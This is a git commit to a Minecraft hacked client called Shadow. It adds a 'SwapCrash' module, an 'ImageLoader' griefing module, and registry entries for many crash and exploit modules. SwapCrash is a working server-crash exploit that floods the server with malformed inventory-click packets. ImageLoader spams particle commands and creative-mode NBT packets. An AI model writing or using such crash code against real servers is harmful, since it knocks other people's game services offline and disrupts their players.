This commit is contained in:
Saturn5Vfive 2022-05-22 13:56:41 -05:00
parent 76d47def6c
commit 540773bb88
3 changed files with 340 additions and 5 deletions

View file

@ -38,6 +38,7 @@ import net.shadow.client.feature.module.impl.crash.PacketCrash;
import net.shadow.client.feature.module.impl.crash.PaintingCrash; import net.shadow.client.feature.module.impl.crash.PaintingCrash;
import net.shadow.client.feature.module.impl.crash.RequestCrash; import net.shadow.client.feature.module.impl.crash.RequestCrash;
import net.shadow.client.feature.module.impl.crash.SSRFCrash; import net.shadow.client.feature.module.impl.crash.SSRFCrash;
import net.shadow.client.feature.module.impl.crash.SwapCrash;
import net.shadow.client.feature.module.impl.exploit.AntiAntiXray; import net.shadow.client.feature.module.impl.exploit.AntiAntiXray;
import net.shadow.client.feature.module.impl.exploit.AntiRDI; import net.shadow.client.feature.module.impl.exploit.AntiRDI;
import net.shadow.client.feature.module.impl.exploit.BoatCrash; import net.shadow.client.feature.module.impl.exploit.BoatCrash;
@ -48,6 +49,7 @@ import net.shadow.client.feature.module.impl.exploit.ChunkCrash;
import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer; import net.shadow.client.feature.module.impl.exploit.ConsoleSpammer;
import net.shadow.client.feature.module.impl.exploit.Equipper; import net.shadow.client.feature.module.impl.exploit.Equipper;
import net.shadow.client.feature.module.impl.exploit.FilterBypass; import net.shadow.client.feature.module.impl.exploit.FilterBypass;
import net.shadow.client.feature.module.impl.exploit.ImageLoader;
import net.shadow.client.feature.module.impl.exploit.InstaBow; import net.shadow.client.feature.module.impl.exploit.InstaBow;
import net.shadow.client.feature.module.impl.exploit.OffhandCrash; import net.shadow.client.feature.module.impl.exploit.OffhandCrash;
import net.shadow.client.feature.module.impl.exploit.PingSpoof; import net.shadow.client.feature.module.impl.exploit.PingSpoof;
@ -241,7 +243,7 @@ public class ModuleRegistry {
registerModule(BoatPhase.class); registerModule(BoatPhase.class);
registerModule(BoatCrash.class); registerModule(BoatCrash.class);
registerModule(Boom.class); registerModule(Boom.class);
registerModule(CaveMapper.class); //registerModule(CaveMapper.class);
registerModule(InstaBow.class); registerModule(InstaBow.class);
registerModule(ChunkCrash.class); registerModule(ChunkCrash.class);
registerModule(OffhandCrash.class); registerModule(OffhandCrash.class);
@ -253,8 +255,8 @@ public class ModuleRegistry {
registerModule(ClickGUI.class); registerModule(ClickGUI.class);
registerModule(TpRange.class); registerModule(TpRange.class);
registerModule(AnyPlacer.class); registerModule(AnyPlacer.class);
registerModule(FireballDeflector.class); //registerModule(FireballDeflector.class);
registerModule(ShulkerDeflector.class); //registerModule(ShulkerDeflector.class);
registerModule(CarpetBomb.class); registerModule(CarpetBomb.class);
registerModule(AutoTrap.class); registerModule(AutoTrap.class);
registerModule(AutoTNT.class); registerModule(AutoTNT.class);
@ -262,7 +264,7 @@ public class ModuleRegistry {
registerModule(NoFall.class); registerModule(NoFall.class);
registerModule(ESP.class); registerModule(ESP.class);
registerModule(Tracers.class); registerModule(Tracers.class);
registerModule(Hyperspeed.class); //registerModule(Hyperspeed.class);
registerModule(AntiAnvil.class); registerModule(AntiAnvil.class);
registerModule(Swing.class); registerModule(Swing.class);
registerModule(AimAssist.class); registerModule(AimAssist.class);
@ -272,7 +274,7 @@ public class ModuleRegistry {
registerModule(AntiAntiXray.class); registerModule(AntiAntiXray.class);
registerModule(PingSpoof.class); registerModule(PingSpoof.class);
registerModule(AutoAttack.class); registerModule(AutoAttack.class);
registerModule(MouseEars.class); //registerModule(MouseEars.class);
registerModule(Spinner.class); registerModule(Spinner.class);
registerModule(AllowFormatCodes.class); registerModule(AllowFormatCodes.class);
registerModule(InfChatLength.class); registerModule(InfChatLength.class);
@ -375,6 +377,8 @@ public class ModuleRegistry {
registerModule(MoveCrash.class); registerModule(MoveCrash.class);
registerModule(MultiShot.class); registerModule(MultiShot.class);
registerModule(Explosion.class); registerModule(Explosion.class);
registerModule(SwapCrash.class);
registerModule(ImageLoader.class);
rebuildSharedModuleList(); rebuildSharedModuleList();

View file

@ -0,0 +1,76 @@
/*
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import java.util.Random;
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
import it.unimi.dsi.fastutil.ints.Int2ObjectMap;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.play.ButtonClickC2SPacket;
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.network.packet.c2s.play.SelectMerchantTradeC2SPacket;
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket;
import net.minecraft.screen.slot.SlotActionType;
public class SwapCrash extends Module {
final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(5).min(1).max(32).name("Power").description("Force to attack with").precision(0).get());
public SwapCrash() {
super("SwapCrash", "funny crash v2", ModuleType.CRASH);
}
@Override
public void tick() {
Int2ObjectMap<ItemStack> ripbozo = new Int2ObjectArrayMap<>();
ripbozo.put(0, new ItemStack(Items.ACACIA_BOAT, 1));
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(
new ClickSlotC2SPacket(
client.player.currentScreenHandler.syncId,
123344,
36 + 9,
2859623,
SlotActionType.PICKUP,
new ItemStack(Items.AIR, -1),
ripbozo
)
);
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -0,0 +1,255 @@
/*
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.exploit;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
import net.minecraft.util.math.Vec3d;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.events.PacketEvent;
import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.*;
import net.minecraft.text.Text;
import net.minecraft.util.math.Vec3d;
public class ImageLoader extends Module {
public static String text;
public static String argument;
final String block = "";
final StringSetting url = this.config.create(new StringSetting.Builder("https://null").name("Image").description("Image to load").get());
final DoubleSetting size = this.config.create(new DoubleSetting.Builder(70).name("Size").description("size of the image").min(10).max(100).precision(0).get());
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.ArmorStand).name("Mode").description("Mode to print the image in").get());
BufferedImage imageToBuild;
int index = 0;
int placed = 0;
int skipper = 0;
Vec3d ppos = null;
public ImageLoader() {
super("ImageLoader", "Load images into minecraft", ModuleType.GRIEF);
}
@Override
public void tick() {
if (mode.getValue().equals(Mode.Particle)) {
//particle dust 1.000 0.000 0.000 1 ~ ~ ~ 0 0 0 1 1000 normal
if (skipper % 50 == 0) {
double px = 0;
double py = 0;
for (int index = 0; index < imageToBuild.getHeight(); index++) {
for (int i = 0; i < imageToBuild.getWidth(); i++) {
var r = new Color(imageToBuild.getRGB(i, index)).getRed();
var g = new Color(imageToBuild.getRGB(i, index)).getGreen();
var b = new Color(imageToBuild.getRGB(i, index)).getBlue();
//ChatUtils.message(r + " " + g + " " + b);
double rM = ((r * 1000) / 255);
double gM = ((g * 1000) / 255);
double bM = ((b * 1000) / 255);
px += size.getValue() / 100;
//ChatUtils.message("/particle dust " + (rM / 1000D) + " " + (gM / 1000D) + " " + (bM / 1000D) + " 1 " + (ppos.getX() + px) + " " + (ppos.getY() + py) + " " + ppos.getZ() + " 0 0 0 1 5 force");
client.player.networkHandler.sendPacket(new ChatMessageC2SPacket("/particle dust " + (rM / 1000D) + " " + (gM / 1000D) + " " + (bM / 1000D) + " 500 " + (ppos.getX() + px) + " " + (ppos.getY() + py) + " " + ppos.getZ() + " 0 0 0 1 20 force"));
}
py -= size.getValue() / 50;
px = 0;
index++;
}
}
skipper++;
}
}
@Override
public void enable() {
ppos = client.player.getPos();
placed = 0;
index = 0;
loadImage(url.getValue());
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
public enum Mode {
ArmorStand,
Particle,
Chat
}
public void loadImage(String imageurl) {
try {
URL u = new URL(imageurl);
HttpURLConnection huc = (HttpURLConnection) u.openConnection();
huc.setRequestProperty("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0");
huc.connect();
InputStream is = huc.getInputStream();
BufferedImage loadedImage = ImageIO.read(is);
double newWidth = size.getValue();
double scale = (double) loadedImage.getWidth() / newWidth;
imageToBuild = resize(loadedImage, (int) (loadedImage.getWidth() / scale), (int) (loadedImage.getHeight() / scale));
huc.disconnect();
} catch (Exception ignored) {
setEnabled(false);
}
}
private BufferedImage resize(BufferedImage img, int newW, int newH) {
Image tmp = img.getScaledInstance(newW, newH, Image.SCALE_SMOOTH);
BufferedImage dimg = new BufferedImage(newW, newH, BufferedImage.TYPE_INT_ARGB);
Graphics2D g2d = dimg.createGraphics();
g2d.drawImage(tmp, 0, 0, null);
g2d.dispose();
return dimg;
}
@EventListener(type=EventType.PACKET_SEND)
void onPacketSend(PacketEvent event){
if (event.getPacket() instanceof PlayerInteractBlockC2SPacket) {
if (mode.getValue().equals(Mode.ArmorStand)) {
Hologram generated = generateDefault(text, Vec3d.ZERO).isSmall(false).isEgg(false);
int max = imageToBuild.getHeight();
if (index >= max) {
setEnabled(false);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, new ItemStack(Items.AIR, 1)));
return;
}
StringBuilder builder = new StringBuilder();
builder.append("[");
for (int i = 0; i < imageToBuild.getWidth(); i++) {
int r = imageToBuild.getRGB(i, index);
int rP = r & 0xFFFFFF | 0xF000000;
builder.append("{\"text\":\"").append(block).append("\",\"color\":\"#").append(Integer.toString(rP, 16).substring(1)).append("\"},");
}
String mc = builder.substring(0, builder.length() - 1) + "]";
index++;
generated.text(mc).wrapsName(false);
generated.position(ppos.add(0, -(index / 4.5f), 0));
CreativeInventoryActionC2SPacket p = new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, generated.generate());
client.getNetworkHandler().sendPacket(p);
}
}
}
public static Hologram generateDefault(String text, Vec3d pos) {
return new Hologram().position(pos).text(text).isEgg(false).isSmall(false);
}
public static class Hologram {
String text;
Vec3d pos;
boolean isEgg = false, isChild = false, isVisible = false, hasGravity = false, wrapName = true, isMarker = true;
public Hologram() {
this.text = "";
this.pos = Vec3d.ZERO;
}
public Hologram text(String text) {
this.text = text;
return this;
}
public Hologram isMarker(boolean m) {
this.isMarker = m;
return this;
}
public Hologram hasGravity(boolean hasGravity) {
this.hasGravity = hasGravity;
return this;
}
public Hologram isVisible(boolean isVisible) {
this.isVisible = isVisible;
return this;
}
public Hologram position(Vec3d pos) {
this.pos = pos;
return this;
}
@SuppressWarnings("UnusedReturnValue")
public Hologram wrapsName(boolean wrapName) {
this.wrapName = wrapName;
return this;
}
public Hologram isEgg(boolean isEgg) {
this.isEgg = isEgg;
return this;
}
public Hologram isSmall(boolean isChild) {
this.isChild = isChild;
return this;
}
public ItemStack generate() {
ItemStack stack = new ItemStack(isEgg ? Items.BEE_SPAWN_EGG : Items.ARMOR_STAND);
NbtCompound tag = new NbtCompound();
NbtList pos = new NbtList();
pos.add(NbtDouble.of(this.pos.x));
pos.add(NbtDouble.of(this.pos.y));
pos.add(NbtDouble.of(this.pos.z));
tag.put("CustomNameVisible", NbtByte.ONE);
tag.put("CustomName", wrapName ? NbtString.of("{\"text\":\"" + this.text.replaceAll("&", "§") + "\"}") : NbtString.of(this.text.replaceAll("&", "§")));
tag.put("Invisible", NbtByte.of(!isVisible));
tag.put("Invulnerable", NbtByte.ONE);
tag.put("NoGravity", NbtByte.of(!hasGravity));
tag.put("Small", NbtByte.of(isChild));
tag.put("Marker", NbtByte.of(isMarker));
tag.put("Pos", pos);
if (isEgg) {
tag.put("id", NbtString.of("minecraft:armor_stand"));
}
stack.setSubNbt("EntityTag", tag);
stack.setCustomName(Text.of("§r§cHologram"));
return stack;
}
}
}